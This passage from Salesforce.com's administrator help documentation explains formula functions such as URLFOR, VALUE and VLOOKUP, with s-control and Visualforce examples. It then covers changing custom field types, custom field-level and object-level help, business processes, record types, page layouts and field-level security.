function to encode a custom button or link that has an
encoding setting specified, Salesforce.com first encodes
the URL according to the custom button or link setting,
then encodes the result. For example, if the URL in a
custom link contains a space and its encoding setting is
UTF8, Salesforce.com first encodes the space to a plus
sign (+), then the URLENCODE function converts the
plus sign to its character code, %2B.
• When you include the standard Account field on
opportunities (Opportunity.Account) in the
URLENCODE function, the value of the field is the
account ID, not the account name. To encode the account
name, create a custom cross-object formula field on
opportunities that spans to the account name, and use that
field in the URLENCODE function instead of
Opportunity.Account. For example, if the cross-object
formula is AccountNameFormula__c, use the following:

http://www.google.com/search?q={!URLENCODE
(Opportunity.AccountNameFormula__c)}

URLFOR

Description: Returns a relative URL for an action, s-control, or a file in a static resource archive in
a Visualforce page.

598
Customize Operators and Functions

Use: {!URLFOR(target, id, [inputs], [no override])} and replace target


with the URL or action, s-control, or static resource merge variable, id with a reference
to the record, and inputs with any optional parameters. The no override argument
is also optional and defaults to “false.” It applies to targets for standard Salesforce.com
pages such as $Action.Account.New. Replace no override with “true” when you
want to display a standard Salesforce.com page regardless of whether you have defined
an override for it elsewhere.

599
Customize Operators and Functions

S-Control Example: <html>


<head>
<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from
CaseSolution Where CaseId = '{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the
override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase,
Case.Id, [retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can
be closed.");
//go to the standard case detail page
this.parent.location.href = "{!URLFOR($Action.Case.View,
Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p>&nbsp;</p>
</body>
</html>

In this example, the s-control displays a message to users when they click Close Case
on a case with no associated solutions. If the case is associated with at least one solution,
the close case page displays as usual. To implement this example, create an s-control
with the content above. Then, override the close case option using the s-control.
This example shows how you can validate data using a standard button override. Use
validation rules to validate data on a record and an s-control like the one in this example
to validate associated data. This example does not apply to records updated using the
API.
This example uses the URLFOR function to build Salesforce.com URLs rather than
hard-coding them, which is more scalable. It also sets the no override argument to
“true,” telling Salesforce.com to ignore the override and call a standard close case action
within an override.

Visualforce Example: <apex:image url="{!URLFOR($Resource.TestZip,


'images/Bluehills.jpg')}" width="50" height="50" />

In this example, the <apex:image> component references a .jpg file contained within
a .zip file that has been uploaded as a static resource. When uploaded, the name of the
static resource was defined as TestZip, and the path to the image within the resource
is images/Bluehills.jpg.

Tips: • Use global variables to access special merge fields for actions, s-controls, and static
resources.
• If an input parameter name begins with any character other than a letter or dollar
sign ($), enclose it in quotation marks.

600
Customize Operators and Functions

• Enclose multiple inputs in brackets to indicate they are together:

{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

• Set inputs to null if you do not have any to pass yet you want to set the no
override argument:

{!URLFOR($Action.Case.View, Case.Id, null, true)}

• When you override a standard action, that action is no longer available in


Salesforce.com. For example, if you override the new account action, that affects the
New button on all pages such as the account detail page, account related lists on
other detail pages, and the Create New drop down list in the sidebar. To override
a standard action yet still access it, use the no override argument in your s-control
to reference that action.
• When you override the tab home page for a standard or custom tab, set target to
the “Tab” $Action global variable and id to the object type. For example,
URLFOR($Action.Account.Tab, $ObjectType.Account)
• This function is only available in custom buttons, links, s-controls, and Visualforce
pages.

VALUE

Description: Converts a text string to a number.


Use: VALUE(text) and replace text with the field or expression you want converted into
a number.
Example: Lead Number
VALUE(Lead_Number__c) returns a number for the text value in the auto-number
field Lead Number. This can be useful if you want to use the Lead Number field in
a calculation. Note that auto-number fields are actually text fields and must be converted
to a number for numeric calculations.
Round Robin Lead Assignment
MOD(VALUE(Lead_Number__c), 3)
This formula is for a custom formula field named Round_Robin_ID that assigns each
lead a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead
Number that assigns each lead a sequential number starting with 1. The MOD function
divides the lead number by the number of lead queues available (three in this example)
and returns a remainder of 0, 1, or 2. Use the value of this formula field in your lead
assignment rules to assign lead records to different queues. For example:
• Round_Robin_ID = 0 is assigned to Queue A
• Round_Robin_ID = 1 is assigned to Queue B
• Round_Robin_ID = 2 is assigned to Queue C

601
Customize Operators and Functions

Tips:
Make sure the text in a VALUE function does not include any special characters other
than a decimal point (period) or minus sign (dash). For example, the formula
VALUE(Text_field__c) produces these results:
• If Text field is 123, the result is 123
• If Text field is blank, the result is #Error!
• If Text field is $123, the result is #Error!
• If Text field is EUR123, the result is #Error!

VLOOKUP

Description: Returns a value by looking up a related value on a custom object similar to the
VLOOKUP() Excel function.
Use: VLOOKUP(field_to_return, field_on_lookup_object, lookup_value)
and replace field_to_return with the field that contains the value you want returned,
field_on_lookup_object with the field on the related object that contains the value
you want to match, and lookup_value with the value you want to match.
Validation Rule Example: This example checks that a billing postal code is valid by looking up the first five
characters of the value in a custom object called Zip_Code__c that contains a record
for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object or the billing state does not match the corresponding State_Code__c in the
Zip_Code__c object, an error is displayed.
Note:
• Use this example when the billing country is US or USA.
• You can download US zip codes in CSV file format from
http://zips.sourceforge.net.

AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))

<> BillingState
)

Tips: • The field_to_return must be an auto number, roll-up summary, lookup


relationship, master-detail relationship, checkbox, date, date/time, email, number,
percent, phone, picklist, text, text area, or URL field type.
• The field_on_lookup_object must be the Record Name field on a custom
object.
• The field_on_lookup_object and lookup_value must be the same data type.
• If more than one record matches, the value from the first record is returned.
• The value returned must be on a custom object.
• You cannot delete the custom field or custom object referenced in this function.

602
Customize Changing Custom Field Type

• This function is only available in validation rules.

YEAR

Description: Returns the four-digit year in number format of a given date.


Use: YEAR(date) and replace date with the field or expression that contains the year you
want returned.
Example: YEAR(TODAY())- YEAR(Initial_Meeting__c) returns the number of years since
your initial meeting with a client. This example uses a custom date field called Initial
Meeting.

See Also:
Examples of Advanced Formula Fields
About Formulas
Building Formulas

Changing Custom Field Type


Available in: All Editions

User Permissions Needed


To change custom fields: “Customize Application”

To change the data type of an existing custom field:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For fields on Salesforce Knowledge article types, click Setup ➤ Customize ➤ Knowledge ➤ Article Types and select
an article type. The article-type detail page has a Fields related list.
3. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
4. Click Edit next to the custom field you want to change.
5. Click Change Field Type.
6. Select a new data type and click Next.
7. Enter a field label, name, any other attributes, and click Save.

Notes about Converting Custom Fields


Consider the following important rules before converting fields:
• Only convert custom fields for which no data exists or you risk losing your data.

603
Customize Changing Custom Field Type

• The option to change the data type of a custom field is not available for all data types. For example, existing custom fields
cannot be converted into encrypted fields nor can encrypted fields be converted into another data type.
• In Salesforce Knowledge article types, the Rich Text Area and File field types cannot be converted into other data types.
• You cannot change the data type of a custom field that is referenced by a Visualforce page.
• For descriptions of other attributes you can set, see Custom Field Attributes on page 445.
• Changing a custom field type may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.

See Also:
Notes on Changing Custom Field Types
About Roll-Up Summary Fields

Notes on Changing Custom Field Types


Changing the data type of an existing custom field can cause data loss in the following situations:

• Changing to or from type Date or Date/Time


• Changing to Number from any other type
• Changing to Percent from any other type
• Changing to Currency from any other type
• Changing from Checkbox to any other type
• Changing from Picklist (Multi-Select) to any other type
• Changing to Picklist (Multi-Select) from any other type
Currently defined picklist values are retained when you change a picklist to a multi-select picklist. If records contain values
that are not in the picklist definition, those values will be deleted from those records when the data type changes.
• Changing from Auto Number to any other type
• Changing to Auto Number from any type except Text
• Changing from Text Area (Long) to any type except Email, Phone, Text, Text Area, or URL

If data is lost, any list view based on the custom field will be deleted, and assignment and escalation rules may be affected.
If you change the data type of any custom field that is used for lead conversion, that lead field mapping will be deleted.
If you change the data type of a custom field that is set as an external ID, choosing a data type other than text, number, or
email will cause the field to no longer act as an external ID.
The following data types have additional restrictions when you convert them:

Data Type Description


Auto Number The data in any auto-number field remains unchanged if you
convert it into a text field. Also, you can safely convert a text
custom field into an auto-number field without losing your
data. Converting an auto-number field into any other data
type results in data loss. Auto-number fields can contain a
maximum of 30 characters. Before converting a text custom

604
Customize Changing Custom Field Type

Data Type Description


field into an auto-number field, change any records that
contain more than 30 characters in that field.
Formula Formula fields are special read-only fields that cannot be
converted to any other data type. Likewise, you cannot convert
any other field type into a formula field.
Picklist Changing your custom picklists into custom checkboxes is
simple. If you select Checkbox as the new data type, you can
choose which picklist values to map to checked boxes and
unchecked boxes. You can change custom picklists into
multi-select picklists without losing any data. Since your
records only contain a single value of that picklist, that value
will still be selected but users can select additional values. You
can also change a picklist custom field into a text custom field
or a text custom field into a picklist custom field without any
data loss.
Relationships • If your organization has a large number of records,
Salesforce.com displays a waiting page after you have
requested to change a master-detail into a lookup
relationship or a lookup into a master-detail relationship.
• After you have created a roll-up summary field on an
object, you cannot convert the object's master-detail
relationship into a lookup relationship.
• A lookup cannot be converted to a master detail
relationship if there are any existing records on the object
that have a null value set for the lookup relationship.

Text Area (Long) When you convert a long text area field to an Email, Phone,
Text, Text Area, or URL type field, the data in your records
is truncated to the first 255 characters of the field.

Note: You cannot change the data type of a custom field if it is referenced in an Apex script. For more information,
see Force.com Apex Code Overview on page 964.

See Also:
Custom Field Attributes

605
Customize Custom Help Overview

Custom Help Overview


Available in: All Editions

The Help & Training link at the top of every page opens the Salesforce.com Help & Training window which includes online
help topics, solutions, and recommended training classes. Additionally, the Help for this Page link on any page opens a
context-sensitive online help topic that describes that page.
Salesforce.com custom help functionality allows you to augment these standard help features with information on using fields
and functionality unique to your organization or the Force.com AppExchange app you are developing.
Custom help allows you to:

• Override the standard Salesforce.com context-sensitive online help topics for your custom objects using object-level help
• Add field-level help that displays when users hover their mouse over a field

See Also:
Defining Field-Level Help
Adding Fields and Relationships
Getting Started with Field-Level Help
Getting Started with Object-Level Help

Getting Started with Field-Level Help


Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
Before you begin defining field-level help, review these implementation tips and best practices.

Implementation Tips
• Field-level help is enabled by default for all editions.
• Field-level help is not available for some standard fields, including fields on the User object, system read only fields,
auto-number fields, multi-currency fields, Salesforce CRM Ideas fields, and Community fields.
• The help text for a field is automatically added to a package when you add the associated field to any Force.com AppExchange
package.
• In a managed package, the help text is locked to the developer, giving installers full capabilities to change it.

Best Practices
• Because your custom help text displays on both edit and detail pages, avoid instructions for entering data. Instead, construct
help text that defines the field's purpose, such as:
The maximum discount allowed for this account.
• Provide information in your help text about the attributes of the field, such as:

606
Customize Defining Field-Level Help

A detailed description of the purpose for the expense report. Up to 32 KB of data


are allowed. Only the first 255 characters display in reports.
• Provide examples in your help text that help users understand the field's meaning clearly, such as:
The four-digit promotional code used to determine the amount charged to the customer,
for example, 4PLT (for level-four platinum pricing).
• If your organization uses more than one language, provide translations for your Help Text using the translation workbench.

See Also:
Custom Help Overview
Defining Field-Level Help

Defining Field-Level Help


Available in: All Editions

User Permissions Needed


To define or change field-level help: “Customize Application”

Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
To define field-level help:

1. Select the field for which you want to define custom help text:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Click Edit next to the field.


3. In the Help Text field, enter the text you want displayed when a user hovers the mouse over the Info icon that appears
adjacent to the field on a detail or edit page. You can enter up to 255 characters.
4. Click Save.

See Also:
Custom Help Overview
Adding Fields and Relationships
Getting Started with Field-Level Help

607
Customize Getting Started with Object-Level Help

Getting Started with Object-Level Help


Object-level help gives you the power to override the Salesforce.com Help for this Page links for any custom object with your
custom help content contained in a Visualforce page or an s-control. The Help & Training link at the top of any page always
opens the Salesforce.com Help & Training window, yet every Help for this Page link on your custom object pages opens the
content in the s-control you select. Your users can access this content from the custom object home (overview), detail, and
edit pages as well as any list views and related lists.
Before you begin defining object-level help text for your custom objects, review these implementation tips and best practices.

Implementation Tips
• Object-level help is available for all custom objects in the Salesforce.com editions that support custom objects.
• For maximum functionality and ease of development, use Visualforce pages rather than s-controls.
Attention: S-controls have been superseded by Visualforce pages. After January 2010 salesforce.com will remove
the ability to create and distribute new s-controls. Existing s-controls will remain unaffected.

• When creating a Visualforce page to use for your object level help, create your page without a controller or with a custom
controller. You cannot use a standard controller or a standard list controller.
• When creating an s-control to use for your object-level help, select HTML or URL:
- For an HTML s-control, write your help content directly into the s-control body using HTML markup.
- For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.
.
• If you have defined object-level help for a custom object that you add to a Force.com AppExchange package, Salesforce.com
automatically adds the Visualforce page, static resource, or s-control referenced in your Context-Sensitive Help
Settings for that object.
• In managed packages, object level help is locked to the developer, giving installers the ability to change it if needed.

Best Practices
• The window that displays your object-level help has the same height and width dimensions as the standard Salesforce.com
Help & Training window. Be sure to size and style your content appropriately to increase usability of your custom help
content.
• To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com Style Guide for
Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to design your pages.
• Because Visualforce pages or s-controls are the source of your object-level help content, you can use merge fields or other
functions to make the experience more personalized. For example, you can design the custom help to address the user
directly by adding the user's name to the help page when it is displayed.

See Also:
Custom Help Overview
Defining Object-Level Help

608
Customize Defining Object-Level Help

Defining Object-Level Help


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define or change object-level help: “Customize Application”

Object-level help overrides the Help for this Page links for any custom object with your own custom help content contained
in a Visualforce page or an s-control. To make object-level help available to all your users, simply create a Visualforce page or
an s-control that contains your help content and edit the custom object definition to reference that Visualforce page or s-control.
Object-level help becomes available to all your users instantly.
Attention: S-controls have been superseded by Visualforce pages. After January 2010 salesforce.com will remove the
ability to create and distribute new s-controls. Existing s-controls will remain unaffected.

To define object-level help for custom objects:

1. Create a Visualforce page or an s-control of type HTML or URL that contains your help content.

• For a Visualforce page, create a Visualforce page that does not use a controller, or that uses a custom controller. Standard
controllers and standard list controllers cannot be used with pages that display object-level help.
• For an HTML s-control, write your help content directly into the s-control body using HTML markup.
• For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.

2. Edit the custom object definition that should use this custom help when users click the Help for this Page link for these
custom object records.
3. Choose Open a window using a Visualforce page or Open a window using a custom s-control from
the Context-Sensitive Help Setting.
4. Select the Visualforce page or s-control that contains your help content.
5. Click Save.

Tip:
You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static
resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a
user to a PDF:

1. Upload the PDF as a static resource named customhelp.


2. Create the following page:

<apex:page sidebar="false" showHeader="false" standardStylesheets="false"


action="{!URLFOR($Resource.customhelp)}">
</apex:page>

Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect
properly.

609
Customize Managing Multiple Business Processes

Tip: To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com Style
Guide for Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to design your
pages.

See Also:
Getting Started with Object-Level Help
Getting Started with Field-Level Help

Managing Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change business processes: “Customize Application”

Use multiple business processes to display different picklist values for users based on their profile. Multiple business processes
allow you to track separate sales, support, and lead lifecycles.
Sales Processes
Create different sales processes that include some or all of the picklist values available for the opportunity Stage field.

Lead Processes
Create different lead processes that include some or all of the picklist values available for the Lead Status field.

Support Processes
Create different support processes that include some or all of the picklist values available for the case Status field.

Solution Processes
Create different solution processes that include some or all of the picklist values available for the Status field.

After creating a sales, support, lead, or solution process, assign the process to a record type. The record type determines the
user profiles that are associated with the business process.
To view a list of business processes, click Setup ➤ Customize, select the appropriate tab link (Opportunity, Case, Lead, or
Solution), and click the Processes link.

• Click New to create a new business process.


• Click Edit to change the name or inactivate the business process.
• Click Del to delete an unused business process.
• Click the name of the business process to edit the picklist values associated with it.

610
Customize Managing Record Types

Creating Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change business processes: “Customize Application”

Follow these steps to create sales processes, support processes, lead processes, and solution processes.

1. Select Setup ➤ Customize, select the appropriate tab link: Opportunity, Case, Lead, or Solution.
2. Click the Processes link.
3. Click New.
4. Choose an existing process to copy its picklist values into the new process. Select Master to copy all available picklist
values.
5. Enter a name and description for the new process. The name must be unique within the tab.
6. Click Save.
All of the available values in the picklist are displayed. Choose the values that you would like included in the new business
process.
7. See Editing Picklists for Record Types and Business Processes on page 614 for instructions on building the list of values
for this business process.

Next, add the new business process to a record type (see Managing Record Types on page 611) and then make the record type
available to users based on profile (see Assigning Record Types to Profiles on page 174).

Managing Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types: “Customize Application”

Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their
profiles. Record types can be used in various ways, for example:

• Create record types for opportunities to differentiate your regular sales deals from your professional services engagements
and offer different picklist values for each.

611
Customize Managing Record Types

• Create record types for cases to display different page layouts for your customer support cases versus your billing cases.

See Also:
Viewing and Editing Record Types
Setting Record Type Preferences
Creating Record Types
Assigning Page Layouts
Assigning Record Types to Profiles
Administrator tip sheet: Tips & Hints for Record Types

Record Type Considerations


Keep the following considerations in mind when creating or changing a record type:

• The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes: opportunity Stage, case Status, solution Status, and Lead
Status. You can use these fields to provide different picklist values for different record types by assigning a different
process to each record type.
• Person accounts are account records to which a special kind of record type has been assigned. These record types are called
person account record types. Person account record types allow contact fields to be available on the account and allow the
account to be used in many situations as if it were a contact. A default person account record type named “Person Account”
is automatically created when person accounts are enabled for your organization. You can change the name of this record
type, and you can create additional person account record types.
• You cannot delete all the record types for an object if the object is referenced in an Apex script.
• You cannot deactivate a record type if it is in use by an email routing address for Email-to-Case or On-Demand
Email-to-Case.
• To create record types for campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members ➤
Record Types.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.
• The following campaign member picklists are not available for record types: Status, Salutation, and Lead Source.
• Salesforce.com recommends creating no more than 200 record types. While there is no limit, organizations may have
difficulty managing their record types if they exceed 200.

612
Customize Managing Record Types

Creating Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types: “Customize Application”

To create record types on a standard object:

1. Click Setup ➤ Customize, then select an object.


To create person account record types, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts.
To create campaign member record types, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members.
2. Click Record Types.
3. Click New.
4. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an
existing record type to clone its picklist values.
5. Enter a Record Type Label that's unique within the object.
6. Enter a Record Type Name, which refers to the component when using the Force.com API and prevents naming conflicts
on package installation in managed packages. This name can contain only underscores and alphanumeric characters, and
must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not
contain two consecutive underscores.
7. For opportunity, case, lead, and solution record types, select a business process to associate with the record type.
8. Enter a description.
9. Select the Active checkbox to activate the record type.
10. Select the Enable for Profile checkbox next to a profile to make the record type available to users with that profile.
Select the checkbox in the header row to enable it for all profiles.
11. For enabled profiles, optionally select the Make Default checkbox to make it the default record type for users of that
profile. Select the checkbox in the header row to make it the default for all profiles.
12. Click Next.
13. Choose a page layout option to determine what page layout displays for records with this record type:

• To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list
• To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile

14. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.

See Also:
Assigning Record Types to Profiles
What is a Person Account?

613
Customize Managing Record Types

Editing Picklists for Record Types and Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types: “Customize Application”
To create or change business processes: “Customize Application”

To customize the values in record type and/or business process picklists:

1. Select a record type and click Edit next to one of the picklist fields to customize the values included for the record type.
Or, select a business process to customize the values included in that business process.
2. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when creating and editing records.
3. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent field is
ignored.
4. Click Save.

Tips for Editing Picklists and Record Types


• The master picklist, the complete list of values in a picklist, is independent of all record types and business processes. If
you add a picklist value to the master picklist, you must manually include the new value in the appropriate record types. If
you remove a picklist value from the master, it is no longer available when creating new records. But records assigned to
that value are unchanged.
• Renaming a record type does not change the list of values included in it.
• The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes: opportunity Stage, case Status, solution Status, and Lead
Status. You can use these fields to provide different picklist values for different record types by assigning a different
process to each record type.
• The following campaign member picklists are not available for record types: Status, Salutation, and Lead Source.
• After creating record types, add the Record Type field to your page layouts if you would like the field displayed on record
detail and edit pages. A user profile can be associated with several record types. For example, a user who creates marketing
campaigns for both US and European divisions can have both US and European campaign record types available when
creating new campaigns.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.

See Also:
Creating Custom Fields
Setting Record Type Preferences
Assigning Record Types to Profiles

614
Customize Overview of Page Layouts and Field-Level Security

Viewing and Editing Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view record type setup pages: “View Setup and Configuration”
To create or change record types: “Customize Application”

To view a list of record types, click Setup ➤ Customize, select an object, and click Record Types . For campaign member
record types, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members ➤ Record Types.

• Click New to create a new record type.


• Click Edit to change the name of a record type or deactivate it by deselecting the Active checkbox. Deactivating a record
type does not remove it from any user profiles.
• Click Del to delete an inactive record type and assign associated records a different record type. To leave the record type
field blank on records associated with the deleted record type, select None.
Note: Deleting campaign member record types updates the Campaign Member Type field on campaign and
campaign member records.

• Click the name of the record type to edit the picklists associated with it.
• Click Page Layout Assignment to set which page layouts users can see based on profiles and record types.

Note: You cannot edit or delete a record type for an object if the object is referenced in an Apex script. For more
information, see Force.com Apex Code Overview on page 964

See Also:
Assigning Page Layouts
Checking Field Accessibility

Overview of Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions
Field-level security available in: Enterprise, Unlimited, and Developer Editions

Use field-level security to control the access that users have to certain fields. Additionally, use page layouts to control the layout
and organization of detail and edit pages in Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal.
Customize search layouts to change which fields display in search results and the buttons that display on list views.

615
Customize Overview of Page Layouts and Field-Level Security

Important: While you can use page layouts to hide fields from detail and edit pages, be aware that users may still be
able to access those fields by other means, including reports, search results, list views, and the API. Use field-level
security to restrict all possible means of accessing a field. Field-level security does not prevent searching on the values
in a field. If you do not want users to be able to search and retrieve records that match a value in a field hidden by
field-level security, contact salesforce.com Customer Support for assistance with setting up your organization to
prevent unwanted access to those field values.

Field-Level Security
• Restrict users’ access to view and edit fields by any means, including reports, search results, list views, related lists, email
and mail merge templates, custom links, Connect Offline, the API, and when synchronizing data or importing personal
data.
• Override any less-restrictive field access settings in page layouts and mini page layouts
For example, if a field is required in the page layout and read only in the field-level security settings, the field-level security
overrides the page layout and the field will be read only for the user.
• Override less-restrictive field settings in search layouts
For example, if a field is visible in the search layout but hidden for certain users via the field-level security settings, the
field-level security overrides the search layout and the field will be hidden for those users.

Page Layouts
• Control the layout and organization of detail and edit pages
• Control which fields, related lists, and custom links users see, on detail and edit pages only
• Control which standard and custom buttons display on detail pages and related lists
• Determine whether fields are visible, read only, or required, on detail and edit pages only
• In Personal, Contact Manager, Group, and Professional Editions, control which fields users can access in related lists, list
views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data or importing
personal data
• In Professional, Enterprise, Unlimited, and Developer Editions, determine some aspects of mini page layouts, including
record type and profile associations, related lists, fields, and field access settings. The visible fields and related lists of the
mini page layout can be further customized, but the other items inherited from the associated page layout cannot be changed
on the mini page layout itself. Mini page layouts display selected fields and related lists of records in the mini view of the
console. See What is the Console? on page 1366 for more information.
Note: To automatically add a field to all page layouts and make it visible and required everywhere regardless of
field-level security, make it a universally required field.

See Also:
Managing Page Layouts
Setting Field-Level Security

616
Customize Overview of Page Layouts and Field-Level Security

Understanding Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions
Field-level security available in: Enterprise, Unlimited, and Developer Editions

Setting page layouts and field-level security consists of the basic steps listed below.

For Personal, Contact Manager, Group, and Professional Editions


1. Create any custom fields; see Creating Custom Fields on page 439.
2. Create any custom buttons or links; see Setting Custom Buttons and Links on page 652.
3. Create any custom s-controls; see Defining Custom S-Controls on page 1041.
4. Define page layouts; see Managing Page Layouts on page 618.
All users automatically use the same page layout for each tab.
5. Set the related objects and the mini page layouts that display in the console; see Setting Up the Console on page 1367.
6. Define search layouts; see Customizing Search Layouts on page 645.
All users use the same search layouts.

For Enterprise, Unlimited, and Developer Editions


1. Create any custom fields; see Creating Custom Fields on page 439.
2. Create any custom buttons or links; see Setting Custom Buttons and Links on page 652.
3. Create any custom s-controls; see Defining Custom S-Controls on page 1041.
4. Create any custom profiles; see Managing Profiles on page 142.
5. Create record types for different business scenarios; see Managing Record Types on page 611.
6. Assign which record types are available to users with different profiles; see Assigning Record Types to Profiles on page
174.
7. Set the field-level security for each profile to restrict users’ access to specific fields; see Setting Field-Level Security on page
217.
8. Define page layouts to organize your pages; see Managing Page Layouts on page 618.
9. Set the related objects and the mini page layouts that display in the console; see Setting Up the Console on page 1367.
10. Assign page layouts to users based on profiles and record types; see Assigning Page Layouts on page 637.
11. Check the field accessibility grid to verify that all field access settings are correct; see Checking Field Accessibility on page
638.
12. Define search layouts; see Customizing Search Layouts on page 645.
All users use the same search layouts.

Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to organize
detail and edit pages within tabs. This reduces the number of page layouts for you to maintain.

Important: Field-level security does not prevent searching on the values in a field. If you do not want users to be
able to search and retrieve records that match a value in a field hidden by field-level security, contact salesforce.com
Customer Support for assistance with setting up your organization to prevent unwanted access to those field values.

617
Customize Managing Page Layouts

Managing Page Layouts


Available in: All Editions

User Permissions Needed


To create, edit, and delete page layouts: “Customize Application”

You can customize the page layouts for record detail and edit pages, Self-Service portal pages, Salesforce.com Customer Portal
pages, and the case close page. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce,
custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can
include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the
size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display.
To work with page layouts, go to Setup ➤ Customize, click the appropriate kind of record, and select Page Layouts. You
can:

• Click New to create layouts; see Creating Page Layouts on page 619.
• Click Edit to modify layouts or customize related lists; see Customizing Page Layouts on page 620.
• Click Del to delete layouts; see Deleting Page Layouts on page 637.
• Click Page Layout Assignment to assign page layouts to profiles and record types; see Assigning Page Layouts on page
637.

For Personal, Contact Manager, Group, and Professional Edition organizations, every user views the same layout. Enterprise,
Unlimited, and Developer Edition organizations can create different page layouts for use by different profiles and record types
and set field-level security settings to further restrict users’ access to specific fields. See Assigning Page Layouts on page 637
and Setting Field-Level Security on page 217 for more information.
In Professional, Enterprise, Unlimited, and Developer Editions, you can set the mini page layouts and related objects that
appear in the console. See Choosing Related Objects for the Mini Console View on page 1369 and Defining Mini Page Layouts
on page 1370 for more information.
Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to organize
detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Note that field-level
security settings override the visible and read-only settings on the page layout if the field-level security has a more
restrictive setting than the page layout.

618
Customize Creating Page Layouts

Note: Salesforce.com periodically runs a background process that cleans up metadata associated with deleted custom
fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record
types, and custom objects.

See Also:
Overview of Page Layouts and Field-Level Security
Editing Mobile Object Properties
Checking Field Accessibility
Customizing Home Tab Page Layouts
Managing Profiles
Setting Up Self-Service
Setting Up the Console
Setting Up Your Customer Portal
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Creating Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create page layouts: “Customize Application”

To create a new page layout:

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For opportunities, click Setup ➤ Customize ➤ Opportunities ➤ Opportunity Products ➤ Page Layouts to create or
edit the additional page layouts for products on opportunities.
For person accounts, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts ➤ Page Layouts to create or edit the
additional page layouts for person accounts.
For campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Page Layouts.
2. Click the New button, and then optionally choose an existing layout to copy.
Tip: To create a page layout based off an existing page layout by doing one of the following:

• In the enhanced page layout editor, select an existing page layout from the list of page layouts, then click Save
